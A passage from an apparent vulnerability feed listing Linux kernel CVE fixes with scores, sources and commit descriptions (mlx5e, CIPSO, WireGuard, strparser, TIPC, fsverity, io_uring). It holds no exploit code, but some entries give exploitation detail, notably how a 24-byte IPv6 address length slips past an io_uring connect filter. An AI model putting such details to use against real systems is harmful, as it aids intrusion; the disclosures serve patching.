allocating a replacement. If that refill succeeds only partially, a WQE
left without a replacement retains its old buffer pointer.

The buffer can meanwhile be allocated to another WQE. A later refill
retry can then free the live buffer through the stale pointer and publish
the same UMEM frame twice.

Mark the WQE as released immediately after the driver-side free. The flag
is already cleared when a replacement buffer is assigned, so refill
retries no longer release stale pointers.

The failure is silent and produces no kernel warning or splat. A
standalone legacy cyclic-RQ zero-copy libxsk reproducer, using 64-byte UDP
traffic offered at 12 Mpps, detected it: stock stopped after 2,854,914
packets in 4.094 seconds, with 4,542 xdp_rx_ring_full events and 64
ownership/double-publication errors. With this change it processed
356,904,225 packets in 30 seconds despite 571,405 xdp_rx_ring_full events,
with no ownership or data errors.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99079).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99079&date=2026-10-25).
Sources:
NVD CVE-2026-99079: https://nvd.nist.gov/vuln/detail/CVE-2026-99079
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99079&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net/mlx5e: Prevent stale XSK buffer release on refill retry

When an XDP redirect to an AF_XDP socket fails because its RX ring is
full, the XSK core frees the buffer. During the subsequent batched refill
of a legacy cyclic RQ, mlx5e also releases the WQE's XSK buffer before
allocating a replacement. If that refill succeeds only partially, a WQE
left without a replacement retains its old buffer pointer.

The buffer can meanwhile be allocated to another WQE. A later refill
retry can then free the live buffer through the stale pointer and publish
the same UMEM frame twice.

Mark the WQE as released immediately after the driver-side free. The flag
is already cleared when a replacement buffer is assigned, so refill
retries no longer release stale pointers.

The failure is silent and produces no kernel warning or splat. A
standalone legacy cyclic-RQ zero-copy libxsk reproducer, using 64-byte UDP
traffic offered at 12 Mpps, detected it: stock stopped after 2,854,914
packets in 4.094 seconds, with 4,542 xdp_rx_ring_full events and 64
ownership/double-publication errors. With this change it processed
356,904,225 packets in 30 seconds despite 571,405 xdp_rx_ring_full events,
with no ownership or data errors.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net/mlx5e: Prevent stale XSK buffer release on MPWQE refill retry
https://kevwire.com/record/CVE-2026-99078
Linux kernel: net/mlx5e: Prevent stale XSK buffer release on MPWQE refill retry (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net/mlx5e: Prevent stale XSK buffer release on MPWQE refill retry

With AF_XDP on a striding RQ, mlx5e defers releasing XSK buffers until
an MPWQE is refilled. If XSK allocation then returns -ENOMEM,
actual_wq_head is not advanced and a later NAPI poll retries the same
WQE.

mlx5e_free_rx_mpwqe() leaves each released slot marked as releasable. On
retry it can therefore call xsk_buff_free() again through stale pointers
after the frames have returned to the XSK pool and been reallocated.

Set all skip_release_bitmap bits in the common error path of
mlx5e_xsk_alloc_rx_mpwqe(). This matches mlx5e_alloc_rx_mpwqe(). A
successful allocation already clears the bitmap after replacing every
buffer, so retries become idempotent without changing the success path.

Fault injection forced three consecutive failures for one selected MPWQE.
Both an early allocation failure and a partial 8-of-16-buffer unwind
released the original 16 XSK buffers only once. Each error left a full
bitmap, the following NAPI retry skipped the release, and a later
successful allocation cleared it. A 20-second AF_XDP zero-copy pressure
run exercised 1,575,262 buffer allocation failures without invalid
descriptors, WQE errors, or kernel warnings.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99078).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99078&date=2026-10-25).
Sources:
NVD CVE-2026-99078: https://nvd.nist.gov/vuln/detail/CVE-2026-99078
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99078&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net/mlx5e: Prevent stale XSK buffer release on MPWQE refill retry

With AF_XDP on a striding RQ, mlx5e defers releasing XSK buffers until
an MPWQE is refilled. If XSK allocation then returns -ENOMEM,
actual_wq_head is not advanced and a later NAPI poll retries the same
WQE.

mlx5e_free_rx_mpwqe() leaves each released slot marked as releasable. On
retry it can therefore call xsk_buff_free() again through stale pointers
after the frames have returned to the XSK pool and been reallocated.

Set all skip_release_bitmap bits in the common error path of
mlx5e_xsk_alloc_rx_mpwqe(). This matches mlx5e_alloc_rx_mpwqe(). A
successful allocation already clears the bitmap after replacing every
buffer, so retries become idempotent without changing the success path.

Fault injection forced three consecutive failures for one selected MPWQE.
Both an early allocation failure and a partial 8-of-16-buffer unwind
released the original 16 XSK buffers only once. Each error left a full
bitmap, the following NAPI retry skipped the release, and a later
successful allocation cleared it. A 20-second AF_XDP zero-copy pressure
run exercised 1,575,262 buffer allocation failures without invalid
descriptors, WQE errors, or kernel warnings.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: cipso: adjust cached option offsets when removing CIPSO
https://kevwire.com/record/CVE-2026-99064
Linux kernel: cipso: adjust cached option offsets when removing CIPSO (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

cipso: adjust cached option offsets when removing CIPSO

cipso_v4_skbuff_delattr() removes the CIPSO bytes but does not adjust
cached offsets for options that follow them.

For example, with a valid 10-byte CIPSO option followed by a seven-byte
RR option, parsing records rr at offset 30.  Removing CIPSO moves RR to
offset 20, while the cached offset remains 30.  Consumers such as
ip_forward_options() and __ip_options_echo() then access the wrong bytes;
the latter may interpret packet data as the option length and copy it into
fixed-size option storage.

Mirror cipso_v4_delopt() and subtract cipso_len from the srr, rr, ts and
router_alert offsets when they follow CIPSO.  cipso_len is the distance
the first memmove() shifts those options.  The later header move and
network-header reset relocate the bytes and their offset base together.
CVSS 8.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99064).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99064&date=2026-10-25).
Sources:
NVD CVE-2026-99064: https://nvd.nist.gov/vuln/detail/CVE-2026-99064
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99064&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

cipso: adjust cached option offsets when removing CIPSO

cipso_v4_skbuff_delattr() removes the CIPSO bytes but does not adjust
cached offsets for options that follow them.

For example, with a valid 10-byte CIPSO option followed by a seven-byte
RR option, parsing records rr at offset 30.  Removing CIPSO moves RR to
offset 20, while the cached offset remains 30.  Consumers such as
ip_forward_options() and __ip_options_echo() then access the wrong bytes;
the latter may interpret packet data as the option length and copy it into
fixed-size option storage.

Mirror cipso_v4_delopt() and subtract cipso_len from the srr, rr, ts and
router_alert offsets when they follow CIPSO.  cipso_len is the distance
the first memmove() shifts those options.  The later header move and
network-header reset relocate the bytes and their offset base together.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: wireguard: noise: reject response consumption after intermediate initiation
https://kevwire.com/record/CVE-2026-99059
Linux kernel: wireguard: noise: reject response consumption after intermediate initiation (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

wireguard: noise: reject response consumption after intermediate initiation

Two threads begin processing the identical response message, received
twice. The first thread, A, runs. While it's running, the second one,
B, gets partway through, and during that slow calculation, or even while
blocking on down_write(), A completes and then also a handshake
initiation that's already been queued up runs in thread C, which itself
takes that same down_write(). The handshake initiation creation
succeeds, and sets the state back to waiting-for-response, and calls
up_write(), at which point thread B resumes, because either its finished
its calculations or was finally allowed to acquire down_write(). Thread
B then copies the state back to the peer, and begins a new session,
using that state, which is the same session as the one made in thread A.

Thread A			Thread B			Thread C

down_read()
 sA = handshake->state
 memcpy(cA, handshake->crypto)
up_read()
if (sA != 1)
 goto fail
slow_crypto(cA)
				down_read()
				 sB = handshake->state
				 memcpy(cB, handshake->crypto)
				up_read()
				if (sB != 1)
				 goto fail
				slow_crypto(cB)
down_write()
 if (sA != handshake->state)
  goto fail
 memcpy(handshake->crypto, cA)
 handshake->state = 2
up_write()
down_write()
 if (handshake->state != 2)
  goto fail
 derive_session(handshake->crypto)
up_write()
								down_write()
								 slow_crypto(handshake->crypto)
								 handshake->state = 1
								up_write()
				down_write()
				 if (sB != handshake->state)
				   goto fail
				 memcpy(handshake->crypto, cB)
				 handshake->state = 2
				up_write()
				down_write()
				 if (handshake->state != 2)
				  goto fail
				 derive_session(handshake->crypto)
				up_write()

This seems basically impossible to hit in a meaningful way in practice,
but ensure that it absolutely cannot happen by comparing the ephemeral
private key that's on the stack with the latest one that the peer's
handshake state has.
CVSS 7.7 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99059).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99059&date=2026-10-25).
Sources:
NVD CVE-2026-99059: https://nvd.nist.gov/vuln/detail/CVE-2026-99059
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99059&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

wireguard: noise: reject response consumption after intermediate initiation

Two threads begin processing the identical response message, received
twice. The first thread, A, runs. While it's running, the second one,
B, gets partway through, and during that slow calculation, or even while
blocking on down_write(), A completes and then also a handshake
initiation that's already been queued up runs in thread C, which itself
takes that same down_write(). The handshake initiation creation
succeeds, and sets the state back to waiting-for-response, and calls
up_write(), at which point thread B resumes, because either its finished
its calculations or was finally allowed to acquire down_write(). Thread
B then copies the state back to the peer, and begins a new session,
using that state, which is the same session as the one made in thread A.

Thread A			Thread B			Thread C

down_read()
 sA = handshake->state
 memcpy(cA, handshake->crypto)
up_read()
if (sA != 1)
 goto fail
slow_crypto(cA)
				down_read()
				 sB = handshake->state
				 memcpy(cB, handshake->crypto)
				up_read()
				if (sB != 1)
				 goto fail
				slow_crypto(cB)
down_write()
 if (sA != handshake->state)
  goto fail
 memcpy(handshake->crypto, cA)
 handshake->state = 2
up_write()
down_write()
 if (handshake->state != 2)
  goto fail
 derive_session(handshake->crypto)
up_write()
								down_write()
								 slow_crypto(handshake->crypto)
								 handshake->state = 1
								up_write()
				down_write()
				 if (sB != handshake->state)
				   goto fail
				 memcpy(handshake->crypto, cB)
				 handshake->state = 2
				up_write()
				down_write()
				 if (handshake->state != 2)
				  goto fail
				 derive_session(handshake->crypto)
				up_write()

This seems basically impossible to hit in a meaningful way in practice,
but ensure that it absolutely cannot happen by comparing the ephemeral
private key that's on the stack with the latest one that the peer's
handshake state has.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: strparser: make sure __strp_recv isn't running before tearing down the parser
https://kevwire.com/record/CVE-2026-99056
Linux kernel: strparser: make sure __strp_recv isn't running before tearing down the parser (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

strparser: make sure __strp_recv isn't running before tearing down the parser

The comment above strp_done() claims that if strp is stopped,
strp_recv will no longer be called. That's only true if the caller has
a mechanism (eg locking) to guarantee that strp_recv() calls that
started before strp_stop() have completed by the time we call
strp_done().

This adds a dummy lock_sock/release_sock pair to guarantee that any
in-flight strp_recv() (which runs under either bh_lock_sock or
lock_sock, depending if it's called from ->sk_data_ready or strp_work)
has completed.

Only espintcp can be affected by this race condition, but this patch
makes sure no future user of strp can have the bug.

This could crash on strp->sk ("general mode" of strp), but this mode
has been here for 9 years and has never been used. It'll be gone soon,
no point worrying about it.

Switch the stopped/paused/etc bits to u8's to avoid races between
strp_stop() and strp_pause/unpause().

A reproducer has been published and turns the possible UAF into an
exploit [1].
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99056).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99056&date=2026-10-25).
Sources:
NVD CVE-2026-99056: https://nvd.nist.gov/vuln/detail/CVE-2026-99056
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99056&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

strparser: make sure __strp_recv isn't running before tearing down the parser

The comment above strp_done() claims that if strp is stopped,
strp_recv will no longer be called. That's only true if the caller has
a mechanism (eg locking) to guarantee that strp_recv() calls that
started before strp_stop() have completed by the time we call
strp_done().

This adds a dummy lock_sock/release_sock pair to guarantee that any
in-flight strp_recv() (which runs under either bh_lock_sock or
lock_sock, depending if it's called from ->sk_data_ready or strp_work)
has completed.

Only espintcp can be affected by this race condition, but this patch
makes sure no future user of strp can have the bug.

This could crash on strp->sk ("general mode" of strp), but this mode
has been here for 9 years and has never been used. It'll be gone soon,
no point worrying about it.

Switch the stopped/paused/etc bits to u8's to avoid races between
strp_stop() and strp_pause/unpause().

A reproducer has been published and turns the possible UAF into an
exploit [1].

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: tipc: destroy topsrv workqueues before closing connections
https://kevwire.com/record/CVE-2026-99054
Linux kernel: tipc: destroy topsrv workqueues before closing connections (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

tipc: destroy topsrv workqueues before closing connections

tipc_topsrv_stop() closed subscriber connections while the topology
server's send and receive workqueues were still running. Socket
callbacks and subscription events could then queue more work, and
in-flight send/recv work could drop the last connection reference
during the conn_idr walk.

That race produced several teardown failures: refcount_t addition on
0 from conn_get() on a connection whose release was blocked on
idr_lock, a subsequent use-after-free in tipc_conn_close(),
queue_work() on an already destroyed workqueue from the listener
data-ready callback, and an RCU stall in tipc_topsrv_exit_net()
while the walk spun under idr_lock.

Clear srv->listener under idr_lock so it acts as a shutdown flag,
skip queue_work() once it is NULL, destroy the workqueues to flush
in-flight work, and only then close the remaining connections.
Refuse tipc_conn_lookup() after that flag is cleared, and drop
idr_lock when the teardown walk finds no connection, so an
in-flight subscription event cannot pin idr_in_use while the
walk holds the lock.

v3 supersedes the narrower in-thread diff Tung Quang Nguyen
posted on 2026-09-23. It keeps his teardown order and adds the
lookup refusal and the empty-idr unlock.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99054).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99054&date=2026-10-25).
Sources:
NVD CVE-2026-99054: https://nvd.nist.gov/vuln/detail/CVE-2026-99054
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99054&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

tipc: destroy topsrv workqueues before closing connections

tipc_topsrv_stop() closed subscriber connections while the topology
server's send and receive workqueues were still running. Socket
callbacks and subscription events could then queue more work, and
in-flight send/recv work could drop the last connection reference
during the conn_idr walk.

That race produced several teardown failures: refcount_t addition on
0 from conn_get() on a connection whose release was blocked on
idr_lock, a subsequent use-after-free in tipc_conn_close(),
queue_work() on an already destroyed workqueue from the listener
data-ready callback, and an RCU stall in tipc_topsrv_exit_net()
while the walk spun under idr_lock.

Clear srv->listener under idr_lock so it acts as a shutdown flag,
skip queue_work() once it is NULL, destroy the workqueues to flush
in-flight work, and only then close the remaining connections.
Refuse tipc_conn_lookup() after that flag is cleared, and drop
idr_lock when the teardown walk finds no connection, so an
in-flight subscription event cannot pin idr_in_use while the
walk holds the lock.

v3 supersedes the narrower in-thread diff Tung Quang Nguyen
posted on 2026-09-23. It keeps his teardown order and adds the
lookup refusal and the empty-idr unlock.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: tipc: hold a reference to nodes found by link name
https://kevwire.com/record/CVE-2026-99053
Linux kernel: tipc: hold a reference to nodes found by link name (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

tipc: hold a reference to nodes found by link name

tipc_node_find_by_name() returns a node after dropping its RCU read lock
without taking a reference.  The LINK_SET, LINK_GET and LINK_RESET_STATS
handlers then lock and access the node, racing with timer-driven cleanup of
a down peer.  Generic netlink serialization does not exclude the node
timer.

The following interleaving can leave a handler using a freed node:

  CPU 0: find the node under RCU and release the node read lock
  CPU 1: tipc_node_timeout() clears the links and unlinks the down node
  CPU 1: drop the list and timer references, queuing tipc_node_free()
  CPU 0: leave the RCU read-side critical section
  CPU 1: complete the grace period and free the node
  CPU 0: acquire the node lock through the stale pointer

LINK_SET also uses the node's media address after releasing the node lock,
when passing queued packets to tipc_bearer_xmit().

KASAN on v7.3-rc5 reported:

  BUG: KASAN: slab-use-after-free in _raw_read_lock_bh
  Write of size 4 at addr ffff88807e06f008 by task poc/92
  Call Trace:
   _raw_read_lock_bh                 kernel/locking/spinlock.c:287
   tipc_nl_node_set_link             net/tipc/node.c:2475
   genl_family_rcv_msg_doit          net/netlink/genetlink.c:1114
   genl_rcv_msg                      net/netlink/genetlink.c:1209
   netlink_rcv_skb                   net/netlink/af_netlink.c:2575

  Allocated by task 0:
   tipc_node_create                  net/tipc/node.c:539
   tipc_node_check_dest              net/tipc/node.c:1196
   tipc_disc_rcv                     net/tipc/discover.c:252

  Freed by task 92:
   kfree                             mm/slub.c:6801
   rcu_core                          kernel/rcu/tree.c:2919

  Last potentially related work creation:
   __call_rcu_common.constprop.0     kernel/rcu/tree.c:3181
   tipc_node_timeout                 net/tipc/node.c:814

Acquire a reference to the selected node with kref_get_unless_zero() before
leaving RCU, returning NULL if the node has already been released.  Release
that reference on every caller exit after the last node access, including
transmission in L
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99053).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99053&date=2026-10-25).
Sources:
NVD CVE-2026-99053: https://nvd.nist.gov/vuln/detail/CVE-2026-99053
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99053&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

tipc: hold a reference to nodes found by link name

tipc_node_find_by_name() returns a node after dropping its RCU read lock
without taking a reference.  The LINK_SET, LINK_GET and LINK_RESET_STATS
handlers then lock and access the node, racing with timer-driven cleanup of
a down peer.  Generic netlink serialization does not exclude the node
timer.

The following interleaving can leave a handler using a freed node:

  CPU 0: find the node under RCU and release the node read lock
  CPU 1: tipc_node_timeout() clears the links and unlinks the down node
  CPU 1: drop the list and timer references, queuing tipc_node_free()
  CPU 0: leave the RCU read-side critical section
  CPU 1: complete the grace period and free the node
  CPU 0: acquire the node lock through the stale pointer

LINK_SET also uses the node's media address after releasing the node lock,
when passing queued packets to tipc_bearer_xmit().

KASAN on v7.3-rc5 reported:

  BUG: KASAN: slab-use-after-free in _raw_read_lock_bh
  Write of size 4 at addr ffff88807e06f008 by task poc/92
  Call Trace:
   _raw_read_lock_bh                 kernel/locking/spinlock.c:287
   tipc_nl_node_set_link             net/tipc/node.c:2475
   genl_family_rcv_msg_doit          net/netlink/genetlink.c:1114
   genl_rcv_msg                      net/netlink/genetlink.c:1209
   netlink_rcv_skb                   net/netlink/af_netlink.c:2575

  Allocated by task 0:
   tipc_node_create                  net/tipc/node.c:539
   tipc_node_check_dest              net/tipc/node.c:1196
   tipc_disc_rcv                     net/tipc/discover.c:252

  Freed by task 92:
   kfree                             mm/slub.c:6801
   rcu_core                          kernel/rcu/tree.c:2919

  Last potentially related work creation:
   __call_rcu_common.constprop.0     kernel/rcu/tree.c:3181
   tipc_node_timeout                 net/tipc/node.c:814

Acquire a reference to the selected node with kref_get_unless_zero() before
leaving RCU, returning NULL if the node has already been released.  Release
that reference on every caller exit after the last node access, including
transmission in LINK_SET.  Keep the existing link lookup order and locking
so concurrent link removal still takes the existing error paths.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: fsverity: RCU-delay the freeing of struct fsverity_info
https://kevwire.com/record/CVE-2026-99051
Linux kernel: fsverity: RCU-delay the freeing of struct fsverity_info (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

fsverity: RCU-delay the freeing of struct fsverity_info

__fsverity_get_info() calls rhashtable_lookup_fast(), which just uses
rcu_read_lock() and doesn't directly synchronize with
fsverity_remove_info().

For the same inode this isn't a problem: its fsverity_info is removed
only at inode eviction time or upon failure to enable verity, when the
inode no longer needs its fsverity_info and it will no longer be
accessed via that inode.

However, this is broken and can cause a use-after-free for concurrent
__fsverity_get_info() for *different* inodes.  Those rely on following
fsverity_info::rhash_head in the rhashtable under rcu_read_lock() only.
They also use fsverity_info::inode to do the key comparison.

Fix this by RCU-delaying the freeing of 'struct fsverity_info' after
it's been removed from the rhashtable.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99051).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99051&date=2026-10-25).
Sources:
NVD CVE-2026-99051: https://nvd.nist.gov/vuln/detail/CVE-2026-99051
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99051&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

fsverity: RCU-delay the freeing of struct fsverity_info

__fsverity_get_info() calls rhashtable_lookup_fast(), which just uses
rcu_read_lock() and doesn't directly synchronize with
fsverity_remove_info().

For the same inode this isn't a problem: its fsverity_info is removed
only at inode eviction time or upon failure to enable verity, when the
inode no longer needs its fsverity_info and it will no longer be
accessed via that inode.

However, this is broken and can cause a use-after-free for concurrent
__fsverity_get_info() for *different* inodes.  Those rely on following
fsverity_info::rhash_head in the rhashtable under rcu_read_lock() only.
They also use fsverity_info::inode to do the key comparison.

Fix this by RCU-delaying the freeing of 'struct fsverity_info' after
it's been removed from the rhashtable.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: gpio: mpsse: fix race when arming the IRQ poll worker
https://kevwire.com/record/CVE-2026-99050
Linux kernel: gpio: mpsse: fix race when arming the IRQ poll worker (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

gpio: mpsse: fix race when arming the IRQ poll worker

gpio_mpsse_irq_enable() arms the poll worker before publishing it:
schedule_work() runs before the worker is added to priv->workers. If
gpio_mpsse_disconnect() walks the list in that window it misses the
worker, and once disconnect returns, the USB core frees mpsse_priv
while the orphaned gpio_mpsse_poll() work keeps accessing it, causing
a use-after-free.

Fix this by publishing and arming the worker in one irq_spin
critical section. Teardown walks the same list under irq_spin, so a
worker found on the list is guaranteed to be armed, and
cancel_work_sync() handles it whether it is queued or running.

A worker armed after the disconnect walk would still be missed, so
also set a new priv->dying flag under irq_spin before the teardown
walk, and check it in the same critical section, freeing it via
kfree_rcu() instead when the device is going away, since kfree()
would be called with the IRQ core's raw spinlock held and may sleep
on PREEMPT_RT. schedule_work() is safe to call with irq_spin held,
and the next probe gets a fresh mpsse_priv, so the flag never needs
to be cleared.

This issue was found by an in-house static analysis tool.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99050).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99050&date=2026-10-25).
Sources:
NVD CVE-2026-99050: https://nvd.nist.gov/vuln/detail/CVE-2026-99050
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99050&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

gpio: mpsse: fix race when arming the IRQ poll worker

gpio_mpsse_irq_enable() arms the poll worker before publishing it:
schedule_work() runs before the worker is added to priv->workers. If
gpio_mpsse_disconnect() walks the list in that window it misses the
worker, and once disconnect returns, the USB core frees mpsse_priv
while the orphaned gpio_mpsse_poll() work keeps accessing it, causing
a use-after-free.

Fix this by publishing and arming the worker in one irq_spin
critical section. Teardown walks the same list under irq_spin, so a
worker found on the list is guaranteed to be armed, and
cancel_work_sync() handles it whether it is queued or running.

A worker armed after the disconnect walk would still be missed, so
also set a new priv->dying flag under irq_spin before the teardown
walk, and check it in the same critical section, freeing it via
kfree_rcu() instead when the device is going away, since kfree()
would be called with the IRQ core's raw spinlock held and may sleep
on PREEMPT_RT. schedule_work() is safe to call with irq_spin held,
and the next probe gets a fresh mpsse_priv, so the flag never needs
to be cleared.

This issue was found by an in-house static analysis tool.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: gve: fix XSK buffer leak on error descriptor
https://kevwire.com/record/CVE-2026-99046
Linux kernel: gve: fix XSK buffer leak on error descriptor (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

gve: fix XSK buffer leak on error descriptor

When the error bit is set in the RX completion descriptor, the buf_state
and its attached buffer should be freed. In the case of AF_XDP ZC, the
XSK buffer was not freed, leading to a leak.

This issue was caught by LLM.
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99046).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99046&date=2026-10-25).
Sources:
NVD CVE-2026-99046: https://nvd.nist.gov/vuln/detail/CVE-2026-99046
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99046&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

gve: fix XSK buffer leak on error descriptor

When the error bit is set in the RX completion descriptor, the buf_state
and its attached buffer should be freed. In the case of AF_XDP ZC, the
XSK buffer was not freed, leading to a leak.

This issue was caught by LLM.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: io_uring/net: populate CONNECT filter fields for 24-byte sockaddr_in6
https://kevwire.com/record/CVE-2026-99042
Linux kernel: io_uring/net: populate CONNECT filter fields for 24-byte sockaddr_in6 (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

io_uring/net: populate CONNECT filter fields for 24-byte sockaddr_in6

io_connect_bpf_populate() fills connect.port and connect.v6_addr for
AF_INET6 only when addr_len >= sizeof(struct sockaddr_in6), i.e. 28
bytes.

The IPv6 connect paths accept SIN6_LEN_RFC2133 (24 bytes), which
already holds sin6_port and sin6_addr. io_connect() passes addr_len to
the socket layer unchanged.

At addr_len 24 the filter sees family AF_INET6 with port and address
zero, while the kernel connects to the real destination. A filter that
denies an IPv6 port or address is bypassed. Denying connect.port == P
rejects [::1]:P with -EACCES at addr_len 28 but connects at addr_len 24.

Use SIN6_LEN_RFC2133 as the threshold. sin6_scope_id stays zero when
absent.

The threshold mismatch was found by an AI coding assistant (Claude Code)
comparing this hook against the net/ipv6 length checks on my
